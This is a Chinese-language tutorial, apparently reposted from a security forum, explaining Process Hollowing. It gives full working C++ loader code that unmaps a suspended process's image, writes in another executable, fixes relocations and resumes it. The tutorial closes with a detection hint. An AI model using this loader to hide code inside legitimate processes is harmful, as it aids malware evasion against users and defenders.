各位师傅们好,本文记录了一个小菜鸡对Process Hollowing(傀儡进程)的学习和总结,文中如有错误,麻烦大佬们指出!本文比较基础,请各位大佬们勿喷。
在程序运行时线程是来回切换的,比如A线程执行一段时间,然后切换到B线程执行,B线程执行一段时间后在切回A线程,但是如果这样做就会出现问题,因为A线程运行时寄存器的值已经被B线程修改了。
CONTEXT结构解决了这个问题,有了CONTEXT结构,我们在进行线程切换时,就可以将A线程的各种寄存器数据放到CONTEXT结构中保存起来,这样就避免了切换线程时寄存器被修改的问题。
ImageBase是程序运行时的基址,也就是程序被映射进程的4gb内存中的地址这个值不一定准确。如果ImageBase与映射到进程中的内存地址如果不一样,系统会对程序执行重定位操作。
AddressOfEntryPoint是程序的入口点,这个值只是一个偏移,加上ImageBase中的值才是真正的程序入口点。
SizeOfImage是程序拉伸后(转换成imagebuffer)的大小,也就是程序在进程中的大小。
在程序中全局变量的地址是固定的,这个地址=基址(ImageBase)+偏移,如果imagebase与程序在进程中的地址一样的话就不需要做重定位,但如果不一样就需要重定位,因为如果基址不一样,在使用程序中的全局变量的时候就会出现错误。
举个例子,A程序的ImageBase是400000,程序中有一个全局变量,地址是401000,如果A程序在映射到进程的内存中占住了400000就不会出现问题,如果占不住,被分配到了500000,那么在访问401000这个地址就会出现问题,这就要用到重定位表对程序进行重定位操作。
typedef struct _IMAGE_BASE_RELOCATION {
DWORD VirtualAddress;//当前块的基址
DWORD SizeOfBlock;//当前块的大小
// WORD TypeOffset[1];
} IMAGE_BASE_RELOCATION;
typedef IMAGE_BASE_RELOCATION UNALIGNED * PIMAGE_BASE_RELOCATION;
重定位表在内存中的结构
SizeOfBlock成员后面的才是真正的偏移(就是图中的那一堆二进制)。
每一个偏移占两个字节(16位),在这16位二进制中如果前四位是3,那么代表这个偏移是有效的,否则这个数据就是为了内存对齐存在的。
我们可以通过(SizeOfBlock-8)/2得到偏移数据的数量,VirtualAddress+偏移=指向需要重定位的地方的指针。
重定位表结束的地方是一个全0的PIMAGE_BASE_RELOCATION结构。
右移指令>> 位运算是直接对二进制位进行操作的,右移就是将二进制位往右移动,移出去的二进制位被丢弃,左边补0。
举个栗子: 0101 >> 1 = 0010,0011 0101 0101 01110 >> 12 = 0000 0000 0000 0011。
在代码中会通过右移指令判断重定位表中的偏移数据是否有效。
与运算& 逻辑运算指令之一,0&0=0,0&1=0,1&1=1. 只有都是1时才是1,否则是0。栗子: 0100 0100 & 1011 0101 = 0000 0100
通过创建挂起A进程,替换A程序在进程中的映射为B程序,实现A程序执行B程序的功能。
假设我们有两个程序:A和B,我们想要让A作为傀儡来B程序的功能,那么实现过程可以分为以下几步。
读取B程序到内存中
为A程序创建挂起进程
得到挂起进程的线程上下文
卸载掉A程序在内存中的映射
得到B程序的Pe信息如ImageBase等
根据B程序的ImageBase在A程序的内存中申请内存
将B程序拉伸转换成ImageBuffer(运行时状态)
将拉伸后的B程序写入到刚刚创建的A进程的内存中
修改线程上下文,并恢复挂起线程 0x3 实现代码解析 Process Hollowing的思路和过程上面已经说过了,我们直接来看代码
PVOID buffer=ReadFile2Memory(L"C:\\Users\\blue\\Desktop\\msgbox.txt");
WCHAR path[MAX_PATH] = { 0 };
GetModuleFileNameW(NULL,path,MAX_PATH);
首先定义了一个自己的函数ReadFile2Memory(函数实现代码会在下面贴出来),函数功能是读取文件到内存中,参数是要读取文件的路径,返回值是文件在内存中的地址,这里使用了一个指针来接收这个地址。
第三行调用了GetModuleFileNameW函数,这个函数在此处的作用是得到当前程序的路径。第一个参数如果是NULL就代表要得到当前程序的路径,第二个参数是指向缓冲区的指针,这个缓冲区用来接收返回的路径,第三个参数是缓冲区的大小。
STARTUPINFOW st = { 0 };
st.cb = sizeof(st);
PROCESS_INFORMATION info = { 0 };
CreateProcessW(path, NULL, NULL, NULL, NULL, CREATE_SUSPENDED, NULL, NULL, &st, &info);
第一行主要用来设置要创建进程的窗口属性,这里默认即可。
第三行定义了一个PROCESS_INFORMATION类型的结构体,这个结构体用来存储新创建的进程和主线程的信息。
结构体定义
struct _PROCESS_INFORMATION {
HANDLE hProcess;//新创建进程的句柄
HANDLE hThread;//新创建进程的主线程句柄
DWORD dwProcessId;//进程的id
DWORD dwThreadId;//线程的id
} PROCESS_INFORMATION, *PPROCESS_INFORMATION, *LPPROCESS_INFORMATION;
然后调用了CreateProcessW函数,此函数用于创建进程,第一个参数:要创建进程的exe的路径,第二个参数:命令行的参数,可以为NULL,第三个参数和第四个参数都是安全描述符,填NULL即可,第五个参数:是否让创建的子进程继承自己的句柄,继承填TRUE,不继承FALSE,第六个参数:进程创建的标志,CREATE_SUSPENDED代表已挂起方式创建,第七个参数:指向新进程环境块的指针,为NULL即可,第八个参数:进程当前目录完整的路径,为NULL即可,第九个参数:指向STARTUPINFOW结构的指针,第十个参数:指向PROCESS_INFORMATION结构的指针。
上面代码大致作用:用CreateProcessW的函数为当前程序创建一个挂起的进程。
CONTEXT context = { 0 };
context.ContextFlags = CONTEXT_FULL;
BOOL Code=GetThreadContext(info.hThread, &context);
if (Code == NULL) {
printf("GetThreadContext Error Code:%d\n", GetLastError());
return;
}
首先定义了一个CONTEXT结构,这个结构体的成员中存储的就是线程在挂起时各个寄存器的值,ContextFlags成员代表我们要使用这个结构中的哪些寄存器。
GetThreadContext函数用于获得挂起进程的CONTEXT结构的信息,第一个参数:要获取CONTEXT结构的线程的句柄,第二个参数:一个指向CONTEXT结构的指针,函数如果失败返回FALSE。
pZwUnmapViewOfSection UnmapViewOfSection = (pZwUnmapViewOfSection)GetProcAddress(LoadLibraryW(L"ntdll"), "ZwUnmapViewOfSection");
if (UnmapViewOfSection == NULL) {
printf("GetProcAddress Error Code:%d\n", GetLastError());
return;
}
LoadLibraryW函数功能是加载dll并得到它的句柄,GetProcAddress函数功能是得到指定函数的地址,第一个参数:函数所在dll的句柄,第二个参数:函数的名字。
上面代码大致作用:加载ntdll,并得到ntdll中ZwUnmapViewOfSection函数的地址,并用一个函数指针来接受它。
HMODULE hModule = GetModuleHandleW(NULL);
PeInfo shell = { 0 };
GetPeInfo((PBYTE)hModule,&shell.ImageBase,&shell.Oep,&shell.SizeOfImage,&shell.ReCode);
UnmapViewOfSection(info.hProcess, (PVOID)shell.ImageBase);
GetModuleHandleW函数用于得到指定模块的句柄,第一个参数:模块的名字,如果第一个参数为NULL,那么此函数将的得到当前程序的句柄。
第二行定义了一个结构体,此结构体用来存储需要用到的pe信息。结构体定义
struct PeInfo{
DWORD ImageBase;//存储程序的ImageBase,此成员代表程序的基址
DWORD Oep;//存储Oep(AddressOfEntryPoint),此成员代表程序的入口点
DWORD SizeOfImage;//存储SizeOfImage,此成员代表程序拉伸后的大小
CHAR ReCode;//用于判断程序是否存在重定位表,存在就是1,不存在时0
};
GetPeInfo是我们自己写的函数(代码在下面),功能是得到指定句柄的pe信息,第一个参数:要得到信息的模块的句柄,第二个参数:指向ImageBase的指针,第三个参数:指向Oep的指针,第四个参数:指向SizeOfImage的指针,第五个参数:指向ReCode的指针。
在得到所需的pe信息后,调用ZwUnmapViewOfSection函数卸载掉映射到挂起进程中的程序
PeInfo src = { 0 };
GetPeInfo((PBYTE)buffer, &src.ImageBase, &src.Oep, &src.SizeOfImage,&src.ReCode);//得到源程序的pe信息
PVOID imagebuffer=VirtualAllocEx(info.hProcess, (PVOID)src.ImageBase, src.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);//申请源程序所需的空间
第二行得到的是B进程的pe信息,在得到我们需要的pe信息后使用VirtualAllocEx函数在A进程的空间中申请内存,第一个参数:申请内存的进程句柄,第二个参数:要在哪里申请内存,一个指针,第三个参数:要申请多大的内存,第四个参数:申请内存的类型,这里是保留和提交,第五个参数:申请内存的属性,如果函数执行失败返回值为NULL.
if (imagebuffer != NULL) {//不等与空代表内存申请成功
PVOID Imagebuffer = F2i((PBYTE)buffer);
WriteProcessMemory(info.hProcess, imagebuffer, Imagebuffer, src.SizeOfImage, NULL);
WriteProcessMemory(info.hProcess, (LPVOID)(context.Ebx + 8), &imagebuffer, 4, NULL);
context.Eax = src.Oep + (DWORD)imagebuffer;
context.ContextFlags = CONTEXT_FULL;
SetThreadContext(info.hThread, &context);
ResumeThread(info.hThread);
}
首先是一个if来判断申请内存是否成功,调用F2i函数将B程序拉伸,也就是从filebuffer状态转换成imagebuffer状态。
然后调用WriteProcessMemory此函数功能:往别的进程中的内存写入数据,第一个参数是:写入的进程句柄,第二个参数:要写到哪里,第三个参数:写入数据的来源,第四个参数:写入数据的大小,第五个参数:代表写入了多少字节,如果是NULL,则代表忽略此参数。
第一个WriteProcessMemory函数是将拉伸后的B程序写入到A进程中,第二个WriteProcessMemory是将B程序的基址(ImageBase)覆盖掉A程序的ImageBase。
然后将context结构中Eax寄存器的值改为程序真正的入口点,也就是src.Oep + (DWORD)imagebuffer;,然后调用SetThreadContext函数设置线程的CONTEXT结构,此函数第一个参数:要设置CONTEXT结构的线程的句柄,第二个参数:指向CONTEXT结构的指针。
最后使用ResumeThread函数恢复了线程的运行,下面我们来看下内存申请失败的代码。
如果内存申请失败就执行else的代码。
else {//不相等代表在指定位置申请内存失败,需要系统指定位置申请
if (src.ReCode == 0x1) {//重定位表存在
printf("Relocation table Exist Start Relocation\n");
PVOID n_buffer = VirtualAllocEx(info.hProcess, NULL, src.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (n_buffer == NULL) {
printf("VirtualAllocEx Error Code:%d\n", GetLastError());
return;
}
PatchRe((DWORD)n_buffer, (PBYTE)buffer);
PVOID Imagebuffer = F2i((PBYTE)buffer);
WriteProcessMemory(info.hProcess, n_buffer, Imagebuffer, src.SizeOfImage, NULL);
WriteProcessMemory(info.hProcess, (LPVOID)(context.Ebx + 8), &n_buffer, 4, NULL);
context.Eax = src.Oep + (DWORD)n_buffer;
context.ContextFlags = CONTEXT_FULL;
SetThreadContext(info.hThread, &context);
ResumeThread(info.hThread);
}}
首先通过if语句来判断ReCode的值来确认重定位表存不存在,如果存在就继续执行。
接着调用了VirtualAllocEx函数申请内存,但这次第二个参数填了NULL,代表由系统决定在哪里申请内存,其余的参数由于上面已经说过了就不再赘述了。
成功申请内存后调用了PatchRe函数,这个函数功能是修复重定位表,在下面会给出函数的实现和代码解析。
执行完PatchRe函数,又调用了F2i函数,将B程序由filebuffer状态转换程imagebuffer状态。
接着又调用WriteProcessMemory将imagebuffer状态下的B程序数据写入到之前创建的挂起进程中,然后调用了WriteProcessMemory函数覆盖A进程的ImageBase 最后这几行主要做了设置程序入口点,设置线程的CONTEXT结构,并恢复线程执行。
ReadFile2Memory函数实现
PVOID ReadFile2Memory(LPCWSTR path) { DWORD ReadByte = 0;
HANDLE hFile = CreateFileW(path, GENERIC_READ, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("CreateFileW Error Code:%d\n",GetLastError());
return 0;
}
DWORD Size = GetFileSize(hFile, NULL);
PVOID buffer = VirtualAlloc(NULL, Size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (buffer == NULL) {
printf("VirtualAlloc Error Code:%d\n", GetLastError());
return 0;
}
BOOL Code=ReadFile(hFile,buffer,Size,&ReadByte,NULL);
if (Code == NULL) {
printf("ReadFile Error Code:%d\n", GetLastError());
return 0;
}
return buffer;
}
大概就是通过CreateFileW函数得到文件的句柄,然后调用ReadFile函数读取文件到内存中,因为这个不是重点就不详细介绍了。
GetPeInfo函数实现
DWORD GetPeInfo(PBYTE buffer,PDWORD Imagebase, PDWORD Oep,PDWORD SizeOfImage,PCHAR ReCode) {
PIMAGE_DOS_HEADER Dos = (PIMAGE_DOS_HEADER)buffer;
PIMAGE_NT_HEADERS Nt = (PIMAGE_NT_HEADERS)(buffer + Dos->e_lfanew);
PIMAGE_OPTIONAL_HEADER32 Option = (PIMAGE_OPTIONAL_HEADER32)(buffer + Dos->e_lfanew + 24);
PIMAGE_SECTION_HEADER Sec = IMAGE_FIRST_SECTION(Nt);
PIMAGE_DATA_DIRECTORY Data = (PIMAGE_DATA_DIRECTORY)((PBYTE)Sec - 128);
*Imagebase =Option->ImageBase;
*Oep = Option->AddressOfEntryPoint;
*SizeOfImage = Option->SizeOfImage;
if (Data[5].VirtualAddress == NULL && Data[5].Size == NULL) {
MessageBox(0, L"重定位表为空", 0, 0);
*ReCode = 0x0;
return 0;
}
*ReCode = 0x1;
return 0;
}
代码大概作用是得到传入句柄的pe信息,然后通过指针传出去。
PIMAGE_DATA_DIRECTORY是数据目录表结构体指针,数据目录表的第六项就是重定位表的数据,因为数据目录表是从0开始的所以这里就是5,通过重定位表的VirtualAddress和Size为不为空,来判断存不存在重定位表。
PatchRe函数实现
DWORD PatchRe(DWORD newImageBase, PBYTE ptr) {
PIMAGE_DOS_HEADER Dos = (PIMAGE_DOS_HEADER)ptr;//定位Dos头
PIMAGE_NT_HEADERS Nt = (PIMAGE_NT_HEADERS)(ptr + Dos->e_lfanew);//定位Nt头
PIMAGE_FILE_HEADER File = (PIMAGE_FILE_HEADER)(ptr + Dos->e_lfanew + 4);//定位File头
PIMAGE_OPTIONAL_HEADER Option = (PIMAGE_OPTIONAL_HEADER)(ptr + Dos->e_lfanew + 24);//定位Option头
PIMAGE_SECTION_HEADER Sec = IMAGE_FIRST_SECTION(Nt);//定位节表
PIMAGE_DATA_DIRECTORY Data = (PIMAGE_DATA_DIRECTORY)((PBYTE)Sec - 128);//定位数据目录
PIMAGE_BASE_RELOCATION Relocation = (PIMAGE_BASE_RELOCATION)(ptr + rtf((char*)ptr, Data[5].VirtualAddress));//定位重定位表
DWORD nImageBase = newImageBase - Option->ImageBase;
Option->ImageBase = newImageBase; for (; Relocation->VirtualAddress && Relocation->SizeOfBlock;)
{
DWORD RecCount = (Relocation->SizeOfBlock - 8) / 2;
PWORD RecAdd = (PWORD)((PBYTE)Relocation + 8);
for (DWORD j = 0; j < RecCount; j++)
{
if (RecAdd[j] >> 12 == 3)
{
DWORD RecAdd2 = RecAdd[j] & 0x0fff;//0x0fff=0x0000 1111 1111 1111
DWORD RecAdd3 = rtf((char*)ptr, RecAdd2 + Relocation->VirtualAddress);
PDWORD RecAdd4 = (PDWORD)(RecAdd3 + ptr);
*RecAdd4 = *RecAdd4 + nImageBase;
}
continue;
}
Relocation = (PIMAGE_BASE_RELOCATION)((char*)Relocation + Relocation->SizeOfBlock);
}
return 1;
}
定位各种头的就不说了,直接看比较重要的代码
DWORD nImageBase = newImageBase - Option->ImageBase;
Option->ImageBase = newImageBase;
第一行通过新的imagebase-旧的imagebase得到它们之间的偏移,第二行修改程序的基址为新的imagebasefor (; Relocation->VirtualAddress && Relocation->SizeOfBlock;)
{ DWORD RecCount = (Relocation->SizeOfBlock - 8) / 2;
PWORD RecAdd = (PWORD)((PBYTE)Relocation + 8);
for (DWORD j = 0; j < RecCount; j++)
{
if (RecAdd[j] >> 12 == 3)
{
DWORD RecAdd2 = RecAdd[j] & 0x0fff;//0x0fff=0x0000 1111 1111 1111
DWORD RecAdd3 = rtf((char*)ptr, RecAdd2 + Relocation->VirtualAddress);
PDWORD RecAdd4 = (PDWORD)(RecAdd3 + ptr);
*RecAdd4 = *RecAdd4 + nImageBase;
}
continue;
}
Relocation = (PIMAGE_BASE_RELOCATION)((char*)Relocation + Relocation->SizeOfBlock);
}
上面说过重定位表VirtualAddress和SizeOfBlock如果为0就代表重定位表结束,因此这里使用for循环来判断重定位表结不结束,如果VirtualAddress和SizeOfBlock不为0,将会一直循环。
然后通过(Relocation->SizeOfBlock - 8) / 2
得到偏移数据的数量。
因为重定位表大小是8字节,所以通过(PWORD)((PBYTE)Relocation + 8)
来定位偏移数据。
for (DWORD j = 0; j < RecCount; j++) {}
然后又嵌套了一个循环,这个循环用来遍历偏移数据。
if (RecAdd[j] >> 12 == 3)
上面说过偏移数据的前4位如果是3代表这个偏移是有效的,这里使用右移指令让偏移数据右移12位。得到前四位的值然后与3比较。
DWORD RecAdd2 = RecAdd[j] & 0x0fff
将偏移数据和0x0fff进行与运算,因为偏移数据前四位的值只是用来判断这个偏移是否有效的,不能让前四位也参与运算需要丢掉它。
DWORD RecAdd3 = rtf((char*)ptr, RecAdd2 + Relocation->VirtualAddress);
将偏移数据与重定位表的基址相加得到需要修改地址的rva(imagebuffer下的偏移),然后通过rtf函数将rva转换成foa(filebuffer状态下的偏移),函数的返回值是rva对应的foa,得到foa后又把它赋值给了RecAdd3。
PDWORD RecAdd4 = (PDWORD)(RecAdd3 + ptr); *RecAdd4 = *RecAdd4 + nImageBase;
第一行通过偏移+基址得到真正需要修改的地方的指针,第二行就是给需要修改的地方赋值,nImageBase是新ImageBase与旧ImageBase的差。
main.cpp
#include "Func.h"void main() {
PVOID buffer=ReadFile2Memory(L"C:\\Users\\ak\\Desktop\\msgbox.txt");
WCHAR path[MAX_PATH] = { 0 };
GetModuleFileNameW(NULL,path,MAX_PATH);
STARTUPINFOW st = { 0 };
st.cb = sizeof(st);
PROCESS_INFORMATION info = { 0 };
CreateProcessW(path, NULL, NULL, NULL, NULL, CREATE_SUSPENDED, NULL, NULL, &st, &info);
CONTEXT context = { 0 };
context.ContextFlags = CONTEXT_FULL;
BOOL Code=GetThreadContext(info.hThread, &context);
if (Code == NULL) {
printf("GetThreadContext Error Code:%d\n", GetLastError());
return;
}
pZwUnmapViewOfSection UnmapViewOfSection = (pZwUnmapViewOfSection)GetProcAddress(LoadLibraryW(L"ntdll"), "ZwUnmapViewOfSection");
if (UnmapViewOfSection == NULL) {
printf("GetProcAddress Error Code:%d\n", GetLastError());
return;
}
HMODULE hModule = GetModuleHandleW(NULL);
PeInfo shell = { 0 };
GetPeInfo((PBYTE)hModule,&shell.ImageBase,&shell.Oep,&shell.SizeOfImage,&shell.ReCode);
UnmapViewOfSection(info.hProcess, (PVOID)shell.ImageBase);
PeInfo src = { 0 };
GetPeInfo((PBYTE)buffer, &src.ImageBase, &src.Oep, &src.SizeOfImage,&src.ReCode);//得到源程序的pe信息
PVOID imagebuffer=VirtualAllocEx(info.hProcess, (PVOID)src.ImageBase, src.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);//申请源程序所需的空间
if (imagebuffer != NULL) {//不等空代表内存申请成功
printf("Not Relocation\n");
PVOID Imagebuffer = F2i((PBYTE)buffer);
WriteProcessMemory(info.hProcess, imagebuffer, Imagebuffer, src.SizeOfImage, NULL);
WriteProcessMemory(info.hProcess, (LPVOID)(context.Ebx + 8), &imagebuffer, 4, NULL);
context.Eax = src.Oep + (DWORD)imagebuffer;
context.ContextFlags = CONTEXT_FULL;
SetThreadContext(info.hThread, &context);
ResumeThread(info.hThread);
}
else {//不相等代表在指定位置申请内存失败,需要系统指定位置申请
if (src.ReCode == 0x1) {//重定位表存在
printf("Relocation table Exist Start Relocation\n");
PVOID n_buffer = VirtualAllocEx(info.hProcess, NULL, src.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (n_buffer == NULL) {
printf("VirtualAllocEx Error Code:%d\n", GetLastError());
return;
}
PatchRe((DWORD)n_buffer, (PBYTE)buffer);
PVOID Imagebuffer = F2i((PBYTE)buffer);
WriteProcessMemory(info.hProcess, n_buffer, Imagebuffer, src.SizeOfImage, NULL);
WriteProcessMemory(info.hProcess, (LPVOID)(context.Ebx + 8), &n_buffer, 4, NULL);
context.Eax = src.Oep + (DWORD)n_buffer;
context.ContextFlags = CONTEXT_FULL;
SetThreadContext(info.hThread, &context);
ResumeThread(info.hThread);
}
}
}
func.h
#pragma once
#include <stdio.h>
#include <Windows.h>typedef NTSTATUS(NTAPI* pZwUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);
struct PeInfo{
DWORD ImageBase;
DWORD Oep;
DWORD SizeOfImage;
CHAR ReCode;
};
DWORD rtf(char* buffer, DWORD rva)
{
PIMAGE_DOS_HEADER doshd = (PIMAGE_DOS_HEADER)buffer;
PIMAGE_NT_HEADERS nthd = (PIMAGE_NT_HEADERS)(buffer + doshd->e_lfanew);
PIMAGE_FILE_HEADER filehd = (PIMAGE_FILE_HEADER)(buffer + doshd->e_lfanew + 4);
PIMAGE_OPTIONAL_HEADER32 optionhd = (PIMAGE_OPTIONAL_HEADER32)(buffer + doshd->e_lfanew + 24);
PIMAGE_SECTION_HEADER sectionhd = IMAGE_FIRST_SECTION(nthd);
//IMAGE_FIRST_SECTION
if (rva < optionhd->SizeOfHeaders)
{
return rva;
}
for (int i = 0; i < filehd->NumberOfSections; i++)
{
if (rva >= sectionhd[i].VirtualAddress && rva <= sectionhd[i].VirtualAddress + sectionhd[i].SizeOfRawData)
{
return rva - sectionhd[i].VirtualAddress + sectionhd[i].PointerToRawData;
}
}
return 0;
}
PVOID ReadFile2Memory(LPCWSTR path) {
DWORD ReadByte = 0;
HANDLE hFile = CreateFileW(path, GENERIC_READ, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("CreateFileW Error Code:%d\n",GetLastError());
return 0;
}
DWORD Size = GetFileSize(hFile, NULL);
PVOID buffer = VirtualAlloc(NULL, Size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (buffer == NULL) {
printf("VirtualAlloc Error Code:%d\n", GetLastError());
return 0;
}
BOOL Code=ReadFile(hFile,buffer,Size,&ReadByte,NULL);
if (Code == NULL) {
printf("ReadFile Error Code:%d\n", GetLastError());
return 0;
}
return buffer;
}
DWORD GetPeInfo(PBYTE buffer,PDWORD Imagebase, PDWORD Oep,PDWORD SizeOfImage,PCHAR ReCode) {
PIMAGE_DOS_HEADER Dos = (PIMAGE_DOS_HEADER)buffer;
PIMAGE_NT_HEADERS Nt = (PIMAGE_NT_HEADERS)(buffer + Dos->e_lfanew);
PIMAGE_OPTIONAL_HEADER32 Option = (PIMAGE_OPTIONAL_HEADER32)(buffer + Dos->e_lfanew + 24);
PIMAGE_SECTION_HEADER Sec = IMAGE_FIRST_SECTION(Nt);
PIMAGE_DATA_DIRECTORY Data = (PIMAGE_DATA_DIRECTORY)((PBYTE)Sec - 128);
*Imagebase =Option->ImageBase;
*Oep = Option->AddressOfEntryPoint;
*SizeOfImage = Option->SizeOfImage;
if (Data[5].VirtualAddress == NULL && Data[5].Size == NULL) {
MessageBox(0, L"重定位表为空", 0, 0);
*ReCode = 0x0;
}
*ReCode = 0x1;
return 0;
}
PVOID F2i(PBYTE filebuffer) {
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)filebuffer;
PIMAGE_NT_HEADERS nt = nt = (PIMAGE_NT_HEADERS)(filebuffer + dos->e_lfanew);
PIMAGE_FILE_HEADER file_header = (PIMAGE_FILE_HEADER)(filebuffer + dos->e_lfanew + 4);
PIMAGE_SECTION_HEADER section_header = IMAGE_FIRST_SECTION(nt);
PIMAGE_OPTIONAL_HEADER32 option_header = (PIMAGE_OPTIONAL_HEADER32)(filebuffer + dos->e_lfanew + 24);
PBYTE buffer = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, option_header->SizeOfImage);
memcpy(buffer, dos, option_header->SizeOfHeaders);//复制头
for (int i = 0; i < file_header->NumberOfSections; i++) {
memcpy((LPVOID)((DWORD)buffer + section_header[i].VirtualAddress), (LPVOID)((DWORD)filebuffer + section_header[i].PointerToRawData), section_header[i].SizeOfRawData);
};
return buffer;
}
DWORD PatchRe(DWORD newImageBase, PBYTE ptr) {
PIMAGE_DOS_HEADER Dos = (PIMAGE_DOS_HEADER)ptr;
PIMAGE_NT_HEADERS Nt = (PIMAGE_NT_HEADERS)(ptr + Dos->e_lfanew);
PIMAGE_FILE_HEADER File = (PIMAGE_FILE_HEADER)(ptr + Dos->e_lfanew + 4);
PIMAGE_OPTIONAL_HEADER Option = (PIMAGE_OPTIONAL_HEADER)(ptr + Dos->e_lfanew + 24);
PIMAGE_SECTION_HEADER Sec = IMAGE_FIRST_SECTION(Nt);
PIMAGE_DATA_DIRECTORY Data = (PIMAGE_DATA_DIRECTORY)((PBYTE)Sec - 128);
PIMAGE_BASE_RELOCATION Relocation = (PIMAGE_BASE_RELOCATION)(ptr + rtf((char*)ptr, Data[5].VirtualAddress));
DWORD nImageBase = newImageBase - Option->ImageBase;
Option->ImageBase = newImageBase;
for (; Relocation->VirtualAddress && Relocation->SizeOfBlock;)
{
DWORD RecCount = (Relocation->SizeOfBlock - 8) / 2;
PWORD RecAdd = (PWORD)((PBYTE)Relocation + 8);
for (DWORD j = 0; j < RecCount; j++)
{
if (RecAdd[j] >> 12 == 3)
{
DWORD RecAdd2 = RecAdd[j] & 0x0fff;//0x0fff=0x0000 1111 1111 1111
DWORD RecAdd3 = rtf((char*)ptr, RecAdd2 + Relocation->VirtualAddress);
PDWORD RecAdd4 = (PDWORD)(RecAdd3 + ptr);
*RecAdd4 = *RecAdd4 + nImageBase;
}
continue;
}
Relocation = (PIMAGE_BASE_RELOCATION)((char*)Relocation + Relocation->SizeOfBlock);
}
return 1;
}
Process Hollowing是进程注入技术的一种,主要是对映射到进程中的程序数据做了替换,相当于狸猫换太子,可以通过监控ZwUnmapViewOfSection函数的调用来检测Process Hollowing。
文章来源于:https://forum.butian.net/share/2100
若有侵权请联系删除
加下方wx,拉你一起进群学习
往期推荐
域内令牌窃取
最简单绕过ring3 hook的方式(bypass bitdefender)
域内定位个人PC的三种方式
基于资源的约束委派(RBCD)
syscall的检测与绕过
DLL劫持之IAT类型
patchless amsi学习